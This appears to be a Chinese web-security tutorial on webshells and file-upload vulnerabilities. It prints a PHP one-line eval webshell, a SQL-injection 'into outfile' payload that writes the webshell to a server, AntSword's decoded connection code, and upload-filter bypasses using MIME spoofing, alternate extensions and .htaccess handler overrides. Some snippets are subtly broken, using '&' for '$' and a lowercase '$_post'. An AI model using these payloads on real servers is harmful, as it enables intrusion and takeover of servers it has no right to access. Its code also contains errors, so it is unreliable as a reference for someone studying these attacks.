文章目录
一.Web工作原理
HTTP/HTTPS协议会作为浏览器中输入信息的载体,向目标服务器发送请求,目标服务器收到请求后再返回对饮的信息,其中浏览器中输入的信息保存在HTTP报文的请求方式中(get和post等)
二.GET和POST的区别
- GET请求:参数是以URL参数的形式进行传递,即在URL后面跟着参数名和值,参数之间使用
&
符号进行分隔,例如:http://example.com/api?param1=value1¶m2=value2
。 - POST请求:参数是通过HTTP消息体进行传递,参数内容不会显示在URL中,而是放在HTTP请求的消息体中进行传输。
- 总结:GET请求仅能传输字母数字等参数无法传递图片等内容,而POST不仅可以传递数字还可以传递图片视频等内容
案例分析:
<?php
@&wanli=&_GET["a"];
print(&wanli);
?>
当我们在浏览器URL中输入a=123时,对应网页将输出123。如下图所示
GET抓包分析
POST抓包分析
<?php
@&wanli=&_POST["a"];
print(&wanli);
?>
三.Webshell概述
Webshell是指一种利用Web漏洞获取远程操作权限的工具或脚本,Webshell通常隐藏在Web应用程序的后台目录中,攻击者通过利用一些已知的或未知的漏洞,将Webshell上传到服务器中。一旦成功部署Webshell,攻击者可以通过浏览器或专门的管理工具对服务器进行远程操控,并执行任意操作。
四.一句话木马病毒
PHP中常见的一句话木马病毒如下,通常需要搭配蚁剑等工具来远程控制服务器
<?php @eval($_post['a']);?>
上述代码中:
@符号作用时即使代码执行错误也不报错
eval()函数用于将括号中的内容转译为PHP代码交给服务器执行
$_post["a"]:使用post函数获取HTTP报文中post请求携带的参数 a
为什么说PHP需要搭配蚂剑等安全工具使用呢,因为上述代码中的参数a实际为蚁剑等工具的连接密码,当我们在蚁剑中输入连接密码 a 连接服务器时 蚁剑会将参数a转译为连接脚本,如下图:
当上述连接脚本被上传到服务器后,蚁剑就可以成功远程控制服务器。
那么问题来了,如何将一句话木马病毒上传到服务器中?此时,需要依靠文件上传漏洞。
五.文件上传漏洞
mysql文件上传要点:
- show variables like ‘%securty%’;用来查看mysql是否具有对服务器读写文件权限
- 数据库的file权限规定了数据库用户是否有权限向操作系统写入和读取已存在的权限
- into outfile 命令使用环境:必须知道对应服务器上可以写入文件的文件夹完整路径
当满足以上三个条件后就可以向服务器上传一句话木马并通过蚁剑等工具远程控制
id=-1')) union select 1,"<?php @eval($_post["a"]);?>",3 into outfile “上传木马的文件路径”
蚁剑尝试连接的请求包内容如下所示:
请求包中包含两块内容:
- 蚁剑使用post方法传递一个参数:0xbc5c2b57d620e=.....
- zt=%40eval(%40base64_decode(%24_POST%5B_0xbc5c2b57d620e%5D))%3B
zt=%40eval(%40base64_decode(%24_POST%5B_0xbc5c2b57d620e%5D))%3B
解码后:
zt=eval(base64_decode($_POST('0xbc5c2b57d620e')))
蚁剑将靶机中webshell的zt替换为上述代码,得到结果如下:
<?php @eval($_post["eval(base64_decode($_POST('0xbc5c2b57d620e')))"]);?>
而上述代码会使用eval()函数强制将post方法传递的参数0xbc5c2b57d620e使用base64解码(解码后的代码可用于控制靶机),最后再通过eval()函数强制执行参数0xbc5c2b57d620e解码之后的代码
将0xbc5c2b57d620e后面的参数解码后如下:
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();ob_end_clean();echo "937d7";echo @asenc($output);echo "04504";
}
ob_start();
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); #获取当前脚本所在文件的路径并赋值给 D
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); #获取当前脚本的完整执行路径并赋值给D
$R="{$D}"; #将变量D的值赋值给R
if(substr($D,0,1)!="/"){ #若$D的第一个字符串不是“/”即路径不是目录
#对于从 "C" 到 "Z" 的每个字母进行循环遍历,判断脚本所在磁盘
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/"; #路径是一个目录
}
$R.="";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname()
;$R.=" {$s}";echo $R;;}
catch(Exception $e)
{
echo "ERROR://".$e->getMessage();
};
asoutput();die();
?>
注释:$R.="":初始化一个空字符串变量$R。
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";:判断系统是否支持posix_getegid函数,如果支持,则使用posix_getpwuid函数获取当前用户的详细信息;否则,将$u赋值为空字符串。
$s=($u)?$u["name"]:@get_current_user();:如果$u存在,则将$u["name"]赋值给变量s,即获取当前用户的用户名;否则,使用get_current_user函数获取当前用户的用户名。
$R.=php_uname();:将php_uname函数返回的系统信息追加到$R变量中。
$R.=" {$s}";:将$s变量追加到$R变量中。
echo $R;:输出$R变量的值,即将系统信息和当前用户名显示在页面上。
catch(Exception $e):捕获异常,但在代码中并没有发生异常的处理,因此这行代码是多余的
六.文件上传漏洞绕过手法
案例1:禁止上传.php的文件类型,.jpg的图片文件可正常上传。
- 绕过手法:
使用burpsuit等工具将请求报文中的文件类型字段更改与,jpg等图片文件的文件类型一致
.php文件的文本类型:octet-stream
jpg文件的文本类型:ipge
演示案例2: 禁止上传asp aspx php jsp 后缀的文件
- 绕过手法1:
Apache的配置文件中有如下源码告诉Apache将哪些后缀的文件解析为php文件,因此可以利用这一点将php文件的后缀改为php3等用于绕过。
- 绕过手法2:利用伪静态将html文件指向php文件
.htaccess文件是Apache服务器中的一个配置文件,用于管理网站的配置和访问权限。它可以用来控制网站的访问方式、重定向URL、防止目录列表、密码保护目录等。
.htaccess文件上传漏洞的原理是,攻击者通过控制上传文件的请求,在文件上传过程中,将文件名修改为.htaccess,并将包含恶意代码的.htaccess文件上传到服务器。当服务器对上传文件进行处理时,会读取.htaccess文件,并执行其中的恶意代码。
.htaccess参数
常见配置方法:
AddHandler php5-script .jpg
AddType application/x-httpd.php .jpg
Sethandler application/x-httpd-php
Sethandler:将该目录及子目录的所有文件均映射为php文件类型
AddType:将特定扩展名映射为php文件类型
AddHandler:使用php5-script处理器来解析所有匹配到的文件